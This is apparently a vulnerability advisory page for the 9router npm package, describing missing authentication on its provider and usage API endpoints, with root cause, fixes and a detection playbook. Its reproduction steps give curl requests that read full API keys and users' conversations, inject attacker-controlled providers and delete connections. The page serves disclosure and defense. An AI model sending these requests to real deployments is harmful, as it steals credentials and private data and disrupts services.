9router has unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/statsGHSA-vjc7-jrh9-9j86
CRITICALGHSA-vjc7-jrh9-9j86 is a critical-severity (CVSS 10) Missing Authentication vulnerability in 9router. No vendor fix is recorded yet; mitigation options are listed below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-vjc7-jrh9-9j86.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-vjc7-jrh9-9j86 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 389,824 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
9routernpmDescription
title: Unauthenticated CRUD on /api/providers and Full API Key Leak via /api/usage/stats product: 9Router version: <= 0.4.41 severity: critical cve_request: true
Summary
Multiple critical API security vulnerabilities were discovered in 9Router's Next.js dashboard. The /api/providers endpoints lack authentication entirely, allowing anyone to create, read, update, and delete provider connections. Additionally, /api/usage/stats exposes full plaintext API keys, and /api/usage/request-logs + /api/usage/request-details expose all users' request history and full conversation contents (including system prompts, user messages, assistant responses) without authentication.
Affected Endpoints
| Endpoint | Method | Issue |
|---|---|---|
/api/providers | GET | Lists all provider connections with partial credentials, OAuth tokens, account IDs |
/api/providers/:id | GET | Read any single provider detail (IDOR) |
/api/providers | POST | Create arbitrary provider connections with attacker-controlled API keys |
/api/providers/:id | PUT | Modify any existing provider connection |
/api/providers/:id | DELETE | Delete any provider connection |
/api/usage/stats | GET | Exposes full plaintext API keys, per-account usage breakdown, cost data |
/api/usage/request-logs | GET | Exposes all users' request logs (model, tokens, cost, timestamp, provider) |
/api/usage/request-details/:id | GET | Exposes full conversation turns including system prompts, user messages, assistant responses |
/api/version | GET | Exposes current version info |
/api/models | GET | Exposes full model routing catalog |
/api/v1/models | GET | Exposes model list |
Impact
Critical: Provider CRUD without authentication
An attacker can:
- Add a malicious provider — inject a provider that proxies through their server, capturing all prompts, responses, and API keys routed through 9Router
- Modify existing providers — replace API keys with attacker-controlled ones, redirect traffic
- Delete all providers — cause complete denial of service
- Read all provider configurations — harvest partial credentials, GitHub Copilot OAuth tokens, Cloudflare account IDs, email addresses
Critical: Full API key leak via /api/usage/stats
The endpoint returns complete API key strings (e.g., sk-...) in plaintext alongside usage data per key, enabling unauthorized use of connected AI provider accounts.
Critical: Conversation history leak
/api/usage/request-details returns the full conversation history of other users' AI sessions, including system prompts, user messages, assistant responses, tool calls, and reasoning traces.
Steps to Reproduce
1. Unauthenticated read of all providers
curl -s https://<host>/api/providers
Returns all provider connections with email addresses, auth type, account IDs, and partial API key prefixes.
2. Create a provider without authentication
curl -X POST https://<host>/api/providers \
-H "Content-Type: application/json" \
-d '{"provider":"openai","authType":"apikey","name":"rogue","apiKey":"sk-attacker-controlled"}'
Returns the created connection object with a new UUID and isActive: true.
3. Modify an existing provider without authentication
curl -X PUT https://<host>/api/providers/<existing-uuid> \
-H "Content-Type: application/json" \
-d '{"name":"modified","apiKey":"sk-attacker-key"}'
Returns the updated connection object.
4. Delete a provider without authentication
curl -X DELETE https://<host>/api/providers/<existing-uuid>
Returns {"message":"Connection deleted successfully"}.
5. Read full usage stats with API keys
curl -s https://<host>/api/usage/stats
Returns full API key strings, per-account token/cost breakdown, recent requests.
6. Read request logs
curl -s "https://<host>/api/usage/request-logs?page=1&pageSize=50"
Returns paginated request logs with timestamps, models, providers, user emails, token counts.
7. Read full conversation
curl -s https://<host>/api/usage/request-details/<request-uuid>
Returns complete conversation turns for that request.
8. Read version info
curl -s https://<host>/api/version
Returns {"currentVersion":"0.4.19","latestVersion":"0.4.45","hasUpdate":true}.
Root Cause
The Next.js API routes under src/app/api/* lack authentication middleware on several endpoints. Specifically:
/api/providers/*— No auth check before CRUD operations on provider connections stored in the database/api/usage/stats— No auth check before returning aggregated usage data including full API keys/api/usage/request-logs— No auth check before returning request history/api/usage/request-details/:id— No auth check before returning full conversation contents
Suggested Fix
- Add authentication middleware to all
/api/providers/*routes (GET, POST, PUT, DELETE) - Add authentication middleware to all
/api/usage/*routes - Never return full API key strings in any API response — return masked keys only
- Never return GitHub Copilot tokens or similar OAuth secrets in API responses
- Implement proper authorization checks so users can only access their own data
- Add rate limiting to public endpoints
Resources
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | 9router | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for 9router, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of 9router has shipped for GHSA-vjc7-jrh9-9j86 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
How to detect GHSA-vjc7-jrh9-9j86
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id ghsa-vjc7-jrh9-9j86 -u https://target- Template
- 9Router - Unauthenticated LLM Provider API Exposure
- Severity
- critical
Template by ProjectDiscovery nuclei-templates (0x_Akoko), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is GHSA-vjc7-jrh9-9j86 in your dependencies?
Find it across npm, including transitive dependencies.